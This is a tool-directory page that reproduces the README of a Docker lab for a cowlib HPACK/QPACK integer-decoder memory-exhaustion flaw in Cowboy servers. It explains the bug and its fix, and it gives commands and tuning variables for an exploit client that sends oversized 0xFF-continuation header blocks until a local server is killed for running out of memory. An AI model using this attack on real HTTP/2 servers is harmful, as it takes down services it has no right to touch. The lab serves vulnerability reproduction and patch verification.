Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
bug-free-broccoli — Reproducible Docker lab for CVE-2026-59248: an HPACK/QPACK integer-decoder memory-exhaustion DoS in cowlib, with exploit client, Cowboy server, and Grafana metrics. | Kitploit
Tools/GitHubGitHub/darynongera/bug-free-broccoli
Container SecurityVulnerability AnalysisExploitationWeb SecurityNetwork SecurityLearning & EducationLabs & Practice
GitHub
Share
darynongera/bug-free-broccoli

bug-free-broccoli

Reproducible Docker lab for CVE-2026-59248: an HPACK/QPACK integer-decoder memory-exhaustion DoS in cowlib, with exploit client, Cowboy server, and Grafana metrics.

View Repository
124 days agoNot yet reviewed

cowlib HPACK/QPACK integer-decoder DoS — reproducible lab with observability

The CVE

A resource-limitation vulnerability in ninenines cowlib (≥ 2.0.0, < 2.19.0) lets an unauthenticated remote HTTP/2 or HTTP/3 peer exhaust memory on the vulnerable server (or client) and cause a denial of service.

The HPACK and QPACK prefixed-integer decoder cow_hpack_common:dec_big_int/3 (src/cow_hpack_common.hrl, invoked from cow_hpack:decode/2 and cow_qpack:decode_field_section/3) reads continuation octets until it finds one whose high bit is clear, evaluating Int + (Value bsl M) at each step with the shift M growing by 7 per octet. There is no limit on the number of continuation octets, on the resulting bit width, or on the value — the decoder consumes whatever encoded length the peer supplies. Because Erlang integers are immutable, every intermediate Value bsl M and every accumulator update allocates a fresh bignum whose digit width grows linearly with the octets processed so far; summed over the whole decode, the transient allocation is O(n²) in the encoded length.

A single maximal HPACK indexed representation carried in one HTTP/2 HEADERS + CONTINUATION frame pair — within Cowboy's default max_frame_size_received — can force hundreds of megabytes of transient allocation and garbage-collection churn before the resulting header-table index is rejected as invalid. Repeated or concurrent connections multiply the pressure and can drive the Erlang VM to memory exhaustion.

Cowlib is the HTTP parser used by Cowboy, RabbitMQ's management plugin, and other Erlang/Elixir HTTP/2 and HTTP/3 servers and clients, so any exposed endpoint that accepts HPACK or QPACK from an untrusted peer is reachable.

Fix: cowlib 2.19.0 adds a when M < 32 guard to dec_big_int/3, rejecting oversized integers after a handful of octets.

This lab replays the attack (preface → SETTINGS → HEADERS → CONTINUATION with an oversized 0xFF… HPACK integer) against a real Cowboy server and captures the BEAM memory spike in Prometheus/Grafana — before and after applying the patch.

Architecture

 exploit-client ──HTTP/2 (h2c)──▶ cowboy-server (cowboy 2.17.0 / cowlib 2.18.0, :8080)
                                    │  /metrics  (same listener)
                                    ▼
                                prometheus (:9090) ──scrape 2s──▶ grafana (:3000)

Cowboy pins an exact cowlib version: cowboy 2.17.0 ships the vulnerable cowlib 2.18.0 (cowboy 2.18.0 bundles the fixed cowlib 2.19.0). This lab forces cowlib with override: true so the vuln→fix demonstration is a one-line change in server/mix.exs.

ServiceURL
Cowboy serverhttp://localhost:8080/ (HTTP/1.1 + HTTP/2 h2c)
Server /metricshttp://localhost:8080/metrics
Prometheushttp://localhost:9090/targets
Grafanahttp://localhost:3000 (admin / admin)

The Grafana dashboard "cowlib 2.18.0 HPACK memory DoS" is auto-provisioned (no manual data-source or panel setup).

Usage

# 1. Build images and start the server + observability stack
docker compose build
docker compose up -d cowboy-server prometheus grafana

# 2. Sanity checks
curl http://localhost:8080/               # -> OK
curl http://localhost:8080/metrics | grep erlang_vm_memory_processes_bytes_total

# 3. Let ~15s of baseline accumulate, then launch the concurrent exploit
#    (default: 5 concurrent connections, each with a ~200KB HPACK bomb)
docker compose run --rm exploit-client

# 4. Watch the spike (the server stays up after the attack)
docker stats cowboy-server                # live CLI view — memory + CPU
# Grafana: open http://localhost:3000 (admin/admin) — dashboard auto-provisioned.
#   Panel 1 "ERLANG VM: Process memory"  = BEAM process heaps only (the decoder)
#   Panel 2 "ERLANG VM: Total memory"    = system + processes allocator memory
#   Panel 3 "CONTAINER: cgroup memory"   = cowboy_container_memory_{used,peak,limit}
# NOTE: the first two panels only see the BEAM's own accounting, which peaks at
# ~150-200 MiB. `docker stats` shows the whole cgroup (allocator carriers, code,
# binaries, page cache), which reaches ~1 GiB — panel 3 reports that exact
# number, so it tracks `docker stats` one-for-one.
# Observed spike (100 conn × 512KB): processes_used 16 → 153 MiB (9×),
# container memory 87 → 256 MiB.

# To push the server to full OOM denial of service:
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# (NUM_CONCURRENT=1500 drives container memory to the 1g limit even faster)
# Server is killed (exit 137) in ~10 seconds; restart with:
docker compose up -d cowboy-server

# If the server has already died, Prometheus simply stops getting scrapes, so
# Grafana's lines end at the crash. Set the dashboard time range to "Last 15
# minutes" to see the recorded climb; the peak is also kept in
# cowboy_container_memory_peak_bytes until the container restarts.
# The exploit service has `profiles: ["attack"]`, so `docker compose up -d`
# never auto-launches the attack.

# 5. Verify the fix: in server/mix.exs change
#        {:cowlib, "2.18.0", override: true}
#    to
#        {:cowlib, "2.19.0", override: true}
#    then rebuild and restart just the server (the memory line stays flat):
#    docker compose build cowboy-server && docker compose up -d cowboy-server
#    docker compose run --rm exploit-client

# 6. Tear down (the -v flag removes volumes, incl. Grafana dashboards)
docker compose down -v

Ports: the stack publishes host 8080 (Cowboy), 9090 (Prometheus), 3000 (Grafana). Ensure these are free before starting, and re-run the exploit client with docker compose run --rm each time — the Compose service runs once and exits.

Attack tuning (env vars on the client)

VariableDefaultEffect
PAYLOAD_CONTINUATIONS524288number of 0xFF octets in the HPACK integer (512 KB bomb; server's max_fragmented_header_block_size allows up to 1 MB).
NUM_CONCURRENT100concurrent async connections — each stays alive decoding for ATTACK_KEEPALIVE_SECS. Increase to 200+ to reliably OOM (cross 1g) the server container.
SOCKET_TIMEOUT15seconds for each connection handshake
ATTACK_KEEPALIVE_SECS60how long each connection stays alive after sending
SERVER_HOST / SERVER_PORTcowboy-server / 8080target
# single connection probe (fast, minimal effect):
docker compose run --rm -e PAYLOAD_CONTINUATIONS=50000 -e NUM_CONCURRENT=1 -e ATTACK_KEEPALIVE_SECS=10 exploit-client
# visible spike, server survives (~60 connections, 512KB each):
docker compose run --rm -e NUM_CONCURRENT=60 -e ATTACK_KEEPALIVE_SECS=25 exploit-client
# full OOM denial of service (800 connections, ~10s to exit 137):
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# faster OOM (1500 connections):
docker compose run --rm -e NUM_CONCURRENT=1500 exploit-client
# run directly from the host (any Docker not needed):
SERVER_HOST=localhost python3 client/poc_http2.py

A payload larger than the server's max_fragmented_header_block_size (1 MiB) is rejected before it reaches the decoder, and the client then sees socket.send() raised exception on the closed connection. Keep PAYLOAD_CONTINUATIONS ≤ ~1,000,000 or raise the cap in server/poc_server.exs (and rebuild) to match.

Library-level PoC (server/poc.exs)

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    343
  • 5

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258

Explore all tools

Browse our collection of tools

View all tools →